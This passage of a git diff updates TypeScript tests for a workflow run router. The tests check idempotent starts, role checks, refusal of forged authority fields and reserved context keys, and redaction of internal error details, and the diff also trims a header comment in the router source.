+        'persistedStart'
+      > &
+        Partial<
+          Pick<
+            Exclude<RunRouterOptions['startIdempotency'], 'none'>,
+            'persistedStart'
+          >
+        >);
 }
 
 function makeHarness(options: HarnessOptions = {}) {
@@ -159,9 +180,40 @@ function makeHarness(options: HarnessOptions = {}) {
   });
   const handle = createRunRouter({
     workflows: WORKFLOWS,
-    resolve,
+    resolve: async (request) => {
+      const context = await resolve(request);
+      return context && options.transformContext
+        ? options.transformContext(context)
+        : context;
+    },
+    beforeStart: options.beforeStart,
     systemPrincipalId: SYSTEM.id,
-    startIdempotency: options.startIdempotency ?? 'none',
+    startIdempotency:
+      options.startIdempotency === undefined ||
+      options.startIdempotency === 'none'
+        ? 'none'
+        : {
+            ...options.startIdempotency,
+            persistedStart:
+              options.startIdempotency.persistedStart ??
+              (async (workflowId, runId) => {
+                const value = await options.status?.(workflowId, runId);
+                return value === undefined
+                  ? undefined
+                  : {
+                      kind: 'result',
+                      value,
+                      execution: {
+                        tablePrefix: '',
+                        workflowId,
+                        runId,
+                        startToken: 'test-generation',
+                        owner: { kind: 'human', id: OPERATOR.id },
+                        target: { kind: 'workflow', id: workflowId },
+                      },
+                    };
+              }),
+          },
     start: async (input) => {
       await backend.resources().claim('run', input.runId, {
         kind: input.principal.kind,
@@ -222,6 +274,479 @@ function req(path: string, options: ReqOptions = {}): Request {
   });
 }
 
+function cDeferred() {
+  let resolve = () => {};
+  const promise = new Promise<void>((done) => {
+    resolve = done;
+  });
+  return { promise, resolve };
+}
+
+function cStartStore() {
+  return new StartIdempotencyStore(
+    sqliteUnitDatabase(openSqlite()) as StartIdempotencyDatabase,
+  );
+}
+
+function cHeldBody(body: unknown) {
+  const entered = cDeferred();
+  const release = cDeferred();
+  const bytes = new TextEncoder().encode(JSON.stringify(body));
+  const stream = new ReadableStream<Uint8Array>(
+    {
+      async pull(controller) {
+        entered.resolve();
+        await release.promise;
+        controller.enqueue(bytes);
+        controller.close();
+      },
+    },
+    { highWaterMark: 0 },
+  );
+  const request = new Request('http://host.test/runs', {
+    method: 'POST',
+    headers: {
+      'x-actor-id': OPERATOR.id,
+      'x-actor-role': OPERATOR.role,
+      'content-type': 'application/json',
+    },
+    body: stream,
+    duplex: 'half',
+  } as RequestInit & { duplex: 'half' });
+  return { request, entered, release };
+}
+
+describe('C workflow router capture', () => {
+  it('C keyed replay keeps the captured policy view through persisted lookup and reconciliation', async () => {
+    const store = cStartStore();
+    await store.reserve({
+      key: 'original-key',
+      owner: { kind: 'human', id: OPERATOR.id },
+      targetKind: 'workflow',
+      targetId: OPEN_FLOW.id,
+      mintRunId: () => 'r1',
+    });
+    const actor: ApprovalActor = { id: OPERATOR.id, role: 'operator' };
+    let source: ActorContext | undefined;
+    const entered = cDeferred();
+    const release = cDeferred();
+    const policy = vi.fn<NonNullable<RunRouterOptions['beforeStart']>>(
+      async () => {},
+    );
+    const reconcile = vi.fn<
+      NonNullable<RunRouterOptions['reconcileApprovals']>
+    >(async () => {});
+    const start = vi.fn<RunRouterOptions['start']>(async (input) =>
+      suspendedSummary(input.runId),
+    );
+    const fixture = makeHarness({
+      transformContext: (context) => {
+        source = { ...context, actor, mutationEpoch: 2 };
+        return source;
+      },
+      startIdempotency: {
+        store,
+        executionFence: 'none',
+        live: async () => false,
+      },
+      beforeStart: policy,
+      reconcileApprovals: reconcile,
+      start,
+      status: async (_workflowId, runId) => {
+        entered.resolve();
+        await release.promise;
+        return suspendedSummary(runId);
+      },
+    });
+    const pending = fixture.handle(
+      req('/runs', {
+        body: { workflowId: OPEN_FLOW.id, idempotencyKey: 'original-key' },
+      }),
+    );
+    const outcome = pending.then(
+      () => false,
+      () => false,
+    );
+    try {
+      expect(
+        await Promise.race([entered.promise.then(() => true), outcome]),
+      ).toBe(true);
+      Object.assign(actor, { id: 'replacement', role: 'viewer' });
+      Object.assign(source ?? {}, {
+        principal: humanPrincipal({ id: 'replacement', role: 'viewer' }),
+        mutationEpoch: 3,
+      });
+    } finally {
+      release.resolve();
+      await outcome;
+    }
+    expect((await pending)?.status).toBe(200);
+    expect(start).not.toHaveBeenCalled();
+    expect(reconcile).toHaveBeenCalledOnce();
+    const captured = reconcile.mock.calls[0]?.[0];
+    expect(captured).toBe(policy.mock.calls[0]?.[0]);
+    expect(captured).toMatchObject({
+      actor: { id: OPERATOR.id, role: 'operator' },
+      principal: { id: OPERATOR.id },
+      mutationEpoch: 2,
+    });
+    expect(reconcile.mock.calls[0]?.[1]).toBe(OPEN_FLOW.id);
+    expect(reconcile.mock.calls[0]?.[2]).toMatchObject({
+      runId: 'r1',
+      status: 'suspended',
+    });
+  });
+
+  it.each([
+    'mutationEpoch',
+    'startIdentity',
+    'startReservation',
+    'agentStart',
+    'execution',
+    'tablePrefix',
+    'startToken',
+    'attemptToken',
+    'runOwnerGuard',
+    'onPreparedStartIdentity',
+  ])('C workflow route refuses public authority field %s', async (field) => {
+    const start = vi.fn<RunRouterOptions['start']>(async (input) => ({
+      runId: input.runId,
+      status: 'success',
+    }));
+    const fixture = makeHarness({ start });
+    const response = await fixture.handle(
+      req('/runs', { body: { workflowId: OPEN_FLOW.id, [field]: 2 } }),
+    );
+    expect(response?.status).toBe(400);
+    expect(await response?.json()).toEqual({
+      error: `field '${field}' is not allowed`,
+    });
+    expect(start).not.toHaveBeenCalled();
+  });
+
+  it('C workflow route retains direct invalid-epoch error data', async () => {
+    const start = vi.fn<RunRouterOptions['start']>(async (input) => ({
+      runId: input.runId,
+      status: 'success',
+    }));
+    const fixture = makeHarness({
+      transformContext: (context) => ({ ...context, mutationEpoch: -1 }),
+      start,
+    });
+    const response = await fixture.handle(
+      req('/runs', { body: { workflowId: OPEN_FLOW.id } }),
+    );
+    expect(response?.status).toBe(400);
+    expect(await response?.json()).toEqual({
+      error: 'mutationEpoch must be a nonnegative safe integer or undefined',
+      reason: { code: 'INVALID_MUTATION_EPOCH' },
+    });
+    expect(start).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    'missing',
+    'stale',
+    'future',
+    'invalid',
+  ] as const)('C workflow route retains complete encoded epoch refusals: %s', async (classification) => {
+    const error =
+      classification === 'invalid'
+        ? new InvalidMutationEpochError()
+        : new MutationEpochMismatchError(classification, 2);
+    const fetch = vi.fn(async () => doErrorResponse(error));
+    const topology = createDoRunTopology(
+      { idFromName: (name) => name, get: () => ({ fetch }) },
+      TEST_DEPLOYMENT_IDENTITY_SECRET,
+    );
+    const fixture = makeHarness({ start: topology.start });
+    const response = await fixture.handle(
+      req('/runs', { body: { workflowId: OPEN_FLOW.id } }),
+    );
+    expect(response?.status).toBe(classification === 'invalid' ? 400 : 409);
+    expect(await response?.json()).toEqual(
+      classification === 'invalid'
+        ? {
+            error:
+              'mutationEpoch must be a nonnegative safe integer or undefined',
+            reason: { code: 'INVALID_MUTATION_EPOCH' },
+          }
+        : {
+            error: 'mutation epoch does not match the active deployment',
+            reason: {
+              code: 'MUTATION_EPOCH_MISMATCH',
+              classification,
+              mutationEpoch: 2,
+            },
+          },
+    );
+    expect(fetch).toHaveBeenCalledOnce();
+  });
+
+  it.each([
+    [false, 'operator', 'admin', 403],
+    [true, 'operator', 'admin', 403],
+    [false, 'admin', 'operator', 200],
+    [true, 'admin', 'operator', 200],
+  ] as const)('C workflow start keeps the original actor role across body reads: keyed=%s %s to %s', async (keyed, initialRole, laterRole, status) => {
+    const values = {
+      id: 'original-actor',
+      role: initialRole as ApprovalActor['role'],
+    };
+    const id = vi.fn(() => values.id);
+    const role = vi.fn(() => values.role);
+    const actor: ApprovalActor = {
+      get id() {
+        return id();
+      },
+      get role() {
+        return role();
+      },
+    };
+    let source: ActorContext | undefined;
+    const store = cStartStore();
+    const reserve = vi.spyOn(store, 'reserve');
+    const policy = vi.fn<NonNullable<RunRouterOptions['beforeStart']>>(
+      async () => {},
+    );
+    const start = vi.fn<RunRouterOptions['start']>(async (input) => ({
+      runId: input.runId,
+      status: 'success',
+    }));
+    const fixture = makeHarness({
+      transformContext: (context) => {
+        source = { ...context, actor, mutationEpoch: 2 };
+        return source;
+      },
+      beforeStart: policy,
+      start,
+      status: async () => undefined,
+      startIdempotency: keyed
+        ? { store, live: async () => false, executionFence: 'none' }
+        : 'none',
+    });
+    const body = cHeldBody({
+      workflowId: RESTRICTED_FLOW.id,
+      requestContext: { 'app.attribution': 'original' },
+      ...(keyed ? { idempotencyKey: 'original-key' } : {}),
+    });
+    const pending = fixture.handle(body.request);
+    void pending.catch(() => undefined);
+    try {
+      await body.entered.promise;
+      expect(id).toHaveBeenCalledTimes(1);
+      expect(role).toHaveBeenCalledTimes(1);
+      expect(policy).not.toHaveBeenCalled();
+      expect(reserve).not.toHaveBeenCalled();
+      values.id = 'replacement-actor';
+      values.role = laterRole;
+      Object.assign(source ?? {}, {
+        principal: humanPrincipal({
+          id: 'replacement-principal',
+          role: 'admin',
+        }),
+        mutationEpoch: 3,
+      });
+    } finally {
+      body.release.resolve();
+      await pending;
+    }
+    const response = await pending;
+    expect(response?.status).toBe(status);
+    if (status === 403) {
+      expect(await response?.json()).toEqual({
+        error: "role 'operator' may not start 'restricted-flow'",
+      });
+      expect(policy).not.toHaveBeenCalled();
+      expect(reserve).not.toHaveBeenCalled();
+      expect(start).not.toHaveBeenCalled();
+    } else {
+      expect(policy.mock.calls[0]?.[0]).toMatchObject({
+        actor: { id: 'original-actor', role: initialRole },
+        principal: { id: OPERATOR.id },
+        mutationEpoch: 2,
+      });
+      expect(start.mock.calls[0]?.[0]).toMatchObject({
+        workflowId: RESTRICTED_FLOW.id,
+        requestContext: { 'app.attribution': 'original' },
+        principal: { id: OPERATOR.id },
+        mutationEpoch: 2,
+      });
+      expect(start).toHaveBeenCalledOnce();
+      expect(reserve).toHaveBeenCalledTimes(keyed ? 1 : 0);
+    }
+    expect(id).toHaveBeenCalledTimes(1);
+    expect(role).toHaveBeenCalledTimes(1);
+    expect(Object.isFrozen(actor)).toBe(false);
+    expect(Object.isFrozen(source)).toBe(false);
+  });
+
+  it.each([
+    'unkeyed',
+    'reserve',
+    'claim',
+  ] as const)('C suspended start keeps original approval requester and workflow: %s', async (boundary) => {
+    const keyed = boundary !== 'unkeyed';
+    const actor: ApprovalActor = { id: OPERATOR.id, role: 'operator' };
+    let source: ActorContext | undefined;
+    const policyEntered = cDeferred();
+    const policyRelease = cDeferred();
+    const f3Entered = cDeferred();
+    const f3Release = cDeferred();
+    const startEntered = cDeferred();
+    const startRelease = cDeferred();
+    const store = cStartStore();
+    const reserve = store.reserve.bind(store);
+    const claim = store.claimReservation.bind(store);
+    const reserveSpy = vi
+      .spyOn(store, 'reserve')
+      .mockImplementation(async (...args) => {
+        if (boundary === 'reserve') {
+          f3Entered.resolve();
+          await f3Release.promise;
+        }
+        return reserve(...args);
+      });
+    vi.spyOn(store, 'claimReservation').mockImplementation(async (...args) => {
+      if (boundary === 'claim') {
+        f3Entered.resolve();
+        await f3Release.promise;
+      }
+      return claim(...args);
+    });
+    const policy = vi.fn<NonNullable<RunRouterOptions['beforeStart']>>(
+      async () => {
+        policyEntered.resolve();
+        await policyRelease.promise;
+      },
+    );
+    const start = vi.fn<RunRouterOptions['start']>(async (input) => {
+      startEntered.resolve();
+      await startRelease.promise;
+      return {
+        ...suspendedSummary(input.runId),
+        requestedBy: OPERATOR.id,
+        requestedByKind: 'human',
+      };
+    });
+    const fixture = makeHarness({
+      transformContext: (context) => {
+        source = { ...context, actor, mutationEpoch: 2 };
+        return source;
+      },
+      beforeStart: policy,
+      start,
+      status: async () => undefined,
+      startIdempotency: keyed
+        ? { store, live: async () => false, executionFence: 'none' }
+        : 'none',
+    });
+    let applicationContext = { 'app.attribution': 'original' };
+    const contextRead = vi.fn(() => applicationContext);
+    const body = {
+      workflowId: OPEN_FLOW.id,
+      inputData: { original: true },
+      get requestContext() {
+        return contextRead();
+      },
+      set requestContext(value) {
+        applicationContext = value;
+      },
+      deadlineMs: 60,
+      idempotencyKey: keyed ? 'original-key' : undefined,
+    };
+    const originalInput = body.inputData;
+    const originalContext = applicationContext;
+    const raw = JSON.stringify(body);
+    contextRead.mockClear();
+    const parse = JSON.parse;
+    const parser = vi
+      .spyOn(JSON, 'parse')
+      .mockImplementation((text, reviver) =>
+        text === raw ? body : parse(text, reviver),
+      );
+    const pending = fixture.handle(req('/runs', { body: raw }));
+    const outcome = pending.then(
+      () => false,
+      () => false,
+    );
+    try {
+      expect(
+        await Promise.race([policyEntered.promise.then(() => true), outcome]),
+      ).toBe(true);
+      Object.assign(actor, { id: 'replacement', role: 'admin' });
+      Object.assign(source ?? {}, {
+        principal: humanPrincipal({ id: 'replacement', role: 'admin' }),
+        mutationEpoch: 3,
+      });
+      Object.assign(body, {
+        workflowId: RESTRICTED_FLOW.id,
+        idempotencyKey: 'replacement',
+        deadlineMs: 999,
+        inputData: { replaced: true },
+        requestContext: { 'app.attribution': 'replacement' },
+      });
+      policyRelease.resolve();
+      if (keyed) {
+        expect(
+          await Promise.race([
+            f3Entered.promise.then(() => true),
+            startEntered.promise.then(() => false),
+            outcome,
+          ]),
+        ).toBe(true);
+        Object.assign(actor, { id: 'after-f3', role: 'viewer' });
+        Object.assign(source ?? {}, { mutationEpoch: 4 });
+        f3Release.resolve();
+      }
+      expect(
+        await Promise.race([startEntered.promise.then(() => true), outcome]),
+      ).toBe(true);
+      Object.assign(actor, { id: 'after-execution', role: 'viewer' });
+      body.workflowId = 'after-execution';
+    } finally {
+      policyRelease.resolve();
+      f3Release.resolve();
+      startRelease.resolve();
+      await outcome;
+      parser.mockRestore();
+    }
+    const response = await pending;
+    expect(response?.status).toBe(200);
+    expect(await response?.json()).toMatchObject({
+      approval: { requestedBy: OPERATOR.id, workflowId: OPEN_FLOW.id },
+    });
+    expect(policy.mock.calls[0]?.[0]).toMatchObject({
+      actor: { id: OPERATOR.id, role: 'operator' },
+      principal: { id: OPERATOR.id },
+      mutationEpoch: 2,
+    });
+    expect(policy.mock.calls[0]?.slice(1)).toEqual([
+      OPEN_FLOW.id,
+      originalInput,
+      originalContext,
+    ]);
+    expect(start.mock.calls[0]?.[0]).toMatchObject({
+      workflowId: OPEN_FLOW.id,
+      inputData: originalInput,
+      requestContext: originalContext,
+      deadlineMs: 60,
+      principal: { id: OPERATOR.id },
+      mutationEpoch: 2,
+    });
+    if (keyed) {
+      expect(start.mock.calls[0]?.[0].idempotencyKey).toBe('original-key');
+      expect(reserveSpy.mock.calls[0]?.[0]).toMatchObject({
+        key: 'original-key',
+        targetId: OPEN_FLOW.id,
+        owner: { kind: 'human', id: OPERATOR.id },
+      });
+    }
+    expect(start).toHaveBeenCalledOnce();
+    expect(contextRead).toHaveBeenCalledOnce();
+  });
+});
+
 describe('createRunRouter — composition and auth', () => {
   it('returns null for paths it does not own', async () => {
     // #given
@@ -519,6 +1044,214 @@ describe('createRunRouter — per-workflow allowedRoles', () => {
   });
 });
 
+describe('createRunRouter — run-start application context', () => {
+  it.each([
+    undefined,
+    {},
+    { 'app.attribution': 'operator', nested: { tags: [1, true, null] } },
+  ])('forwards an accepted context to policy and both start branches: %j', async (requestContext) => {
+    for (const keyed of [false, true]) {
+      const beforeStart = vi.fn<NonNullable<RunRouterOptions['beforeStart']>>(
+        async () => {},
+      );
+      const start = vi.fn<RunRouterOptions['start']>(async ({ runId }) => ({
+        runId,
+        status: 'success',
+      }));
+      const { handle } = keyed
+        ? keyedHarness({ beforeStart, start })
+        : makeHarness({ beforeStart, start });
+      const inputData = { topic: 'launch' };
+      const response = await handle(
+        req('/runs', {
+          body: {
+            workflowId: OPEN_FLOW.id,
+            inputData,
+            requestContext,
+            ...(keyed ? { idempotencyKey: 'context-key' } : {}),
+          },
+        }),
+      );
+
+      expect(response?.status).toBe(200);
+      expect(beforeStart).toHaveBeenCalledExactlyOnceWith(
+        expect.objectContaining({
+          principal: expect.objectContaining({ id: OPERATOR.id }),
+        }),
+        OPEN_FLOW.id,
+        inputData,
+        requestContext,
+      );
+      expect(start).toHaveBeenCalledOnce();
+      expect(start.mock.calls[0]?.[0].requestContext).toEqual(requestContext);
+      expect(
+        Object.hasOwn(start.mock.calls[0]?.[0] ?? {}, 'requestContext'),
+      ).toBe(requestContext !== undefined);
+    }
+  });
+
+  it.each([
+    null,
+    [],
+    ['value'],
+    true,
+    false,
+    0,
+    1,
+    '',
+    'value',
+  ])('refuses a non-record context before policy: %j', async (requestContext) => {
+    const beforeStart = vi.fn<NonNullable<RunRouterOptions['beforeStart']>>(
+      async () => {},
+    );
+    const { handle, started } = makeHarness({ beforeStart });
+    const response = await handle(
+      req('/runs', {
+        body: { workflowId: OPEN_FLOW.id, requestContext },
+      }),
+    );
+    expect(response?.status).toBe(400);
+    expect(await response?.json()).toEqual({
+      error: 'requestContext must be an object',
+      reason: 'reserved-context-key',
+    });
+    expect(beforeStart).not.toHaveBeenCalled();
+    expect(started).toEqual([]);
+  });
+
+  it.each([
+    ...RESERVED_EXECUTION_CONTEXT_KEYS,
+    'breakwater.futureCapability',
+  ])('refuses reserved application-context key %s before policy', async (key) => {
+    const beforeStart = vi.fn<NonNullable<RunRouterOptions['beforeStart']>>(
+      async () => {},
+    );
+    const { handle, started } = makeHarness({ beforeStart });
+    const response = await handle(
+      req('/runs', {
+        body: {
+          workflowId: OPEN_FLOW.id,
+          requestContext: Object.fromEntries([[key, 'forged']]),
+        },
+      }),
+    );
+    expect(response?.status).toBe(400);
+    expect(await response?.json()).toEqual({
+      error: `requestContext may not carry the reserved key '${key}'`,
+      reason: 'reserved-context-key',
+    });
+    expect(beforeStart).not.toHaveBeenCalled();
+    expect(started).toEqual([]);
+  });
+
+  it.each([
+    { actor: null, workflowId: OPEN_FLOW.id, status: 401 },
+    { actor: REVIEWER, workflowId: OPEN_FLOW.id, status: 403 },
+    { actor: VIEWER, workflowId: OPEN_FLOW.id, status: 403 },
+    { actor: OPERATOR, workflowId: RESTRICTED_FLOW.id, status: 403 },
+  ])('authenticates and authorizes before context validation: $actor $workflowId', async ({
+    actor,
+    workflowId,
+    status,
+  }) => {
+    const beforeStart = vi.fn<NonNullable<RunRouterOptions['beforeStart']>>(
+      async () => {},
+    );
+    const { handle, started } = makeHarness({ beforeStart });
+    for (const requestContext of [null, { runId: 'forged' }]) {
+      const response = await handle(
+        req('/runs', {
+          actor,
+          body: { workflowId, requestContext },
+        }),
+      );
+      expect(response?.status).toBe(status);
+      expect(await response?.json()).not.toHaveProperty('reason');
+    }
+    expect(beforeStart).not.toHaveBeenCalled();
+    expect(started).toEqual([]);
+  });
+
+  it.each([
+    undefined,
+    { 'app.attribution': 'accepted' },
+  ])('delivers application context to an actual connector without input-data attribution: %j', async (requestContext) => {
+    const execute = vi.fn<
+      ConnectorConfig<
+        Record<string, unknown>,
+        { attribution: unknown }
+      >['execute']
+    >(async (_input, context) => ({
+      attribution: context.requestContext?.get('app.attribution') ?? null,
+    }));
+    const connector = createConnector({
+      id: 'inspect-attribution',
+      description: 'Reads run attribution',
+      inputSchema: z.record(z.string(), z.unknown()),
+      outputSchema: z.object({ attribution: z.unknown() }),
+      permissions: { sideEffect: 'read' },
+      execute,
+    });
+    const host = init(
+      { storage: new InMemoryStore() },
+      { executionFence: 'none', startIdempotency: 'none' },
+    );
+    const inputSchema = z.record(z.string(), z.unknown());
+    host
+      .createWorkflow({
+        id: OPEN_FLOW.id,
+        inputSchema,
+        outputSchema: z.object({ attribution: z.unknown() }),
+      })
+      .then(
+        host.createStep({
+          id: 'inspect',
+          inputSchema,
+          outputSchema: z.object({ attribution: z.unknown() }),
+          execute: async ({ inputData, requestContext: stepContext }) =>
+            invokeConnector(connector, inputData, {
+              requestContext: stepContext,
+            }),
+        }),
+      )
+      .commit();
+    const { handle } = makeHarness({
+      start: ({
+        workflowId,
+        runId,
+        inputData,
+        requestContext: context,
+        principal,
+      }) =>
+        host.runtime.start(workflowId, {
+          runId,
+          inputData,
+          storedRequestContext: context,
+          requestedBy: principal.id,
+          requestedByKind: principal.kind,
+        }),
+    });
+    const response = await handle(
+      req('/runs', {
+        body: {
+          workflowId: OPEN_FLOW.id,
+          requestContext,
+          inputData: {
+            'app.attribution': 'forged-top-level',
+            requestContext: { 'app.attribution': 'forged-nested' },
+          },
+        },
+      }),
+    );
+    expect(response?.status).toBe(200);
+    expect(await response?.json()).toMatchObject({
+      status: 'success',
+      result: { attribution: requestContext?.['app.attribution'] ?? null },
+    });
+    expect(execute).toHaveBeenCalledOnce();
+  });
+});
+
 describe('createRunRouter — POST /runs', () => {
   it('400s a malformed body and 400s a body without workflowId', async () => {
     // #given
@@ -1047,20 +1780,113 @@ describe('createRunRouter — error mapping', () => {
     ).toBe(status);
   });
 
-  it('maps an unexpected failure to 500', async () => {
-    // #given
+  it.each([
+    new Error('private storage detail'),
+    'private callback detail',
+    { backend: 'private storage detail' },
+  ])('redacts an unexpected handler failure (%j)', async (error) => {
     const { handle } = makeHarness({
       status: async () => {
-        throw new Error('d1 exploded');
+        throw error;
       },
     });
+    const logged = vi.spyOn(console, 'error').mockImplementation(() => {});
+    try {
+      const response = await handle(req('/runs/open-flow/acme_r1'));
+      expect(response?.status).toBe(500);
+      expect(response?.headers.get('content-type')).toBe('application/json');
+      expect(response?.headers.get('cache-control')).toBe('no-store');
+      expect(await response?.json()).toEqual({ error: 'internal error' });
+      expect(logged).toHaveBeenCalledWith(
+        JSON.stringify({
+          type: 'route-internal-error',
+          route: 'runs',
+          error: error instanceof Error ? error.message : String(error),
+        }),
+        error,
+      );
+    } finally {
+      logged.mockRestore();
+    }
+  });
 
-    // #when
+  it('returns the generic handler response when logging throws', async () => {
+    const { handle } = makeHarness({
+      status: async () => {
+        throw new Error('private storage detail');
+      },
+    });
+    const logged = vi.spyOn(console, 'error').mockImplementation(() => {
+      throw new Error('diagnostic sink unavailable');
+    });
+    try {
+      const response = await handle(req('/runs/open-flow/acme_r1'));
+      expect(response?.status).toBe(500);
+      expect(await response?.json()).toEqual({ error: 'internal error' });
+    } finally {
+      logged.mockRestore();
+    }
+  });
+
+  it.each([
+    [503, new RunRouteError(503, 'retry later', { code: 'HOST_BUSY' })],
+    [503, new ExecutionFencedError('draining')],
+    [
+      409,
+      new RunLifecycleBlockedError({
+        code: 'DISPUTED_SETTLEMENT',
+        message:
+          'run termination is blocked while an economic operation is disputed',
+      }),
+    ],
+  ] as const)('preserves a typed status %s and its reason', async (status, error) => {
+    const { handle } = makeHarness({
+      status: async () => {
+        throw error;
+      },
+    });
     const response = await handle(req('/runs/open-flow/acme_r1'));
+    expect(response?.status).toBe(status);
+    expect(await response?.json()).toEqual({
+      error: error.message,
+      reason: error.reason,
+    });
+  });
+});
 
-    // #then
-    expect(response?.status).toBe(500);
-    expect(await response?.json()).toEqual({ error: 'd1 exploded' });
+describe('internal HTTP error diagnostics', () => {
+  it.each([
+    500, 502,
+  ] as const)('retains status %s and the original unreadable error', async (status) => {
+    const unreadableMessage = new Error();
+    Object.defineProperty(unreadableMessage, 'message', {
+      get() {
+        throw new Error('message is unreadable');
+      },
+    });
+    const unreadableValue = {
+      toString() {
+        throw new Error('value is unreadable');
+      },
+    };
+    const logged = vi.spyOn(console, 'error').mockImplementation(() => {});
+    try {
+      for (const error of [unreadableMessage, unreadableValue]) {
+        const response = internalErrorResponse('test', error, status);
+        expect(response.status).toBe(status);
+        expect(response.headers.get('content-type')).toBe('application/json');
+        expect(response.headers.get('cache-control')).toBe('no-store');
+        expect(await response.json()).toEqual({ error: 'internal error' });
+        expect(logged.mock.lastCall?.[1]).toBe(error);
+        expect(JSON.parse(String(logged.mock.lastCall?.[0]))).toEqual({
+          type: 'route-internal-error',
+          route: 'test',
+          error: 'unreadable error',
+        });
+      }
+    } finally {
+      logged.mockRestore();
+    }
   });
 });
 
@@ -1136,6 +1962,73 @@ function keyedHarness(
 }
 
 describe('createRunRouter — idempotent start', () => {
+  it('revalidates context and host policy on replay while retaining the first accepted context', async () => {
+    let persisted: RunSummary | undefined;
+    const beforeStart = vi.fn<NonNullable<RunRouterOptions['beforeStart']>>(
+      async (_context, _workflowId, _inputData, requestContext) => {
+        if (requestContext?.['app.attribution'] === 'denied') {
+          throw new RunRouteError(403, 'attribution is not allowed');
+        }
+      },
+    );
+    const start = vi.fn<RunRouterOptions['start']>(
+      async ({ runId, requestContext }) => {
+        persisted = {
+          runId,
+          status: 'success',
+          result: { attribution: requestContext?.['app.attribution'] },
+        };
+        return persisted;
+      },
+    );
+    const { handle } = keyedHarness({
+      beforeStart,
+      start,
+      status: async () => persisted,
+    });
+    const request = (requestContext: unknown) =>
+      req('/runs', {
+        body: {
+          workflowId: OPEN_FLOW.id,
+          idempotencyKey: 'context-key',
+          requestContext,
+        },
+      });
+    const first = await handle(request({ 'app.attribution': 'winner' }));
+    const winningBody = await first?.json();
+    expect(first?.status).toBe(200);
+    expect(winningBody).toMatchObject({ result: { attribution: 'winner' } });
+
+    const divergent = await handle(request({ 'app.attribution': 'retry' }));
+    expect(divergent?.status).toBe(200);
+    expect(await divergent?.json()).toEqual(winningBody);
+    expect(beforeStart).toHaveBeenCalledTimes(2);
+    expect(beforeStart.mock.calls[1]?.[3]).toEqual({
+      'app.attribution': 'retry',
+    });
+
+    for (const invalid of [null, { runId: 'forged' }]) {
+      const response = await handle(request(invalid));
+      expect(response?.status).toBe(400);
+      expect(await response?.json()).toMatchObject({
+        reason: 'reserved-context-key',
+      });
+    }
+    expect(beforeStart).toHaveBeenCalledTimes(2);
+
+    const denied = await handle(request({ 'app.attribution': 'denied' }));
+    expect(denied?.status).toBe(403);
+    expect(await denied?.json()).toEqual({
+      error: 'attribution is not allowed',
+    });
+    expect(beforeStart).toHaveBeenCalledTimes(3);
+    expect(start).toHaveBeenCalledOnce();
+    expect(start.mock.calls[0]?.[0].requestContext).toEqual({
+      'app.attribution': 'winner',
+    });
+    expect(persisted).toEqual(winningBody);
+  });
+
   it('refuses a key on a host that wired no reservation store', async () => {
     // #given the typed opt-out — the default in this file
     const { handle } = makeHarness();
@@ -1305,7 +2198,9 @@ describe('createRunRouter — idempotent start', () => {
       targetId: 'open-flow',
       mintRunId: () => 'inflight_run',
     });
-    await store.claim('key-1', 'inflight_run');
+    const unclaimedReservation = await store.readForAdmission('key-1');
+    if (!unclaimedReservation) throw new Error('missing reservation');
+    await store.claimReservation(unclaimedReservation);
 
     // #when
     const response = await handle(
@@ -1333,7 +2228,9 @@ describe('createRunRouter — idempotent start', () => {
       targetId: 'open-flow',
       mintRunId: () => 'orphan_run',
     });
-    await store.claim('key-1', 'orphan_run');
+    const unclaimedReservation = await store.readForAdmission('key-1');
+    if (!unclaimedReservation) throw new Error('missing reservation');
+    await store.claimReservation(unclaimedReservation);
 
     // #when
     const response = await handle(
@@ -1361,8 +2258,21 @@ describe('createRunRouter — idempotent start', () => {
       targetId: 'open-flow',
       mintRunId: () => 'settled_run',
     });
-    await store.claim('key-1', 'settled_run');
-    await store.settleRun('settled_run');
+    const unclaimedReservation = await store.readForAdmission('key-1');
+    if (!unclaimedReservation) throw new Error('missing reservation');
+    await store.claimReservation(unclaimedReservation);
+    const terminalExecution = {
+      tablePrefix: '',
+      workflowId: 'open-flow',
+      runId: 'settled_run',
+      startToken: 'settled-generation',
+      owner: { kind: 'human' as const, id: OPERATOR.id },
+      target: { kind: 'workflow' as const, id: 'open-flow' },
+    };
+    const startedReservation = await store.readForAdmission('key-1');
+    if (!startedReservation) throw new Error('missing started reservation');
+    await store.bindPreparedStart(startedReservation, terminalExecution);
+    await store.settleExecution(terminalExecution);
 
     // #when
     const response = await handle(
@@ -1405,7 +2315,7 @@ describe('createRunRouter — idempotent start', () => {
     });
   });
 
-  it('gives the claim back when the execution fence refuses, and converges on retry after it reopens', async () => {
+  it('retains the claim after an outer fence error and refuses another engine entry', async () => {
     // #given a deployment whose fence closes between the claim and the start
     let fenced = true;
     const executions: string[] = [];
@@ -1427,6 +2337,7 @@ describe('createRunRouter — idempotent start', () => {
       }),
     );
     const reservedRunId = (await store.read('key-1'))?.runId;
+    expect((await store.read('key-1'))?.state).toBe('started');
     fenced = false;
     const retry = await handle(
       req('/runs', {
@@ -1434,15 +2345,15 @@ describe('createRunRouter — idempotent start', () => {
       }),
     );
 
-    // #then the fence's own refusal reached the caller, the claim went back,
-    // and the retry ran the SAME run — a fence transition mid-start must not
-    // manufacture an unresolvable reservation, nor a second run.
+    // The outer error proves no absence of effects, so the exact claim remains spent.
     expect(refused?.status).toBe(503);
     expect(await refused?.json()).toMatchObject({
       reason: { code: 'EXECUTION_FENCED' },
     });
-    expect(retry?.status).toBe(200);
-    expect(executions).toEqual([reservedRunId]);
+    expect(retry?.status).toBe(409);
+    expect((await store.read('key-1'))?.state).toBe('started');
+    expect((await store.read('key-1'))?.runId).toBe(reservedRunId);
+    expect(executions).toEqual([]);
   });
 
   it('keeps the claim when a start fails for any other reason', async () => {
diff --git a/packages/flowsafe/src/host-kit/run-router.ts b/packages/flowsafe/src/host-kit/run-router.ts
index 3a79cde4..93db4fec 100644
--- a/packages/flowsafe/src/host-kit/run-router.ts
+++ b/packages/flowsafe/src/host-kit/run-router.ts
@@ -1,28 +1,7 @@
 // SPDX-License-Identifier: Apache-2.0
-// HTTP surface for the run catalog + run lifecycle, shared by every host.
-//
-// Mirrors createApprovalRouter's contract — plain fetch routing, an injected
-// `authenticate`, and `null` for paths outside its ownership so a host Worker
-// can compose it after the approval router. (Its two paths are fixed rather
-// than configurable: unlike the approval surface, a host mounts exactly one run
-// surface.) What it owns that the hosts used to triplicate is the route-specific
-// AUTHORIZATION order:
-//
-//   start:   authenticate -> coarse role -> workflow role -> host policy
-//   resume:    authenticate -> catalog -> ownership -> coarse role -> workflow
-//              role -> host policy
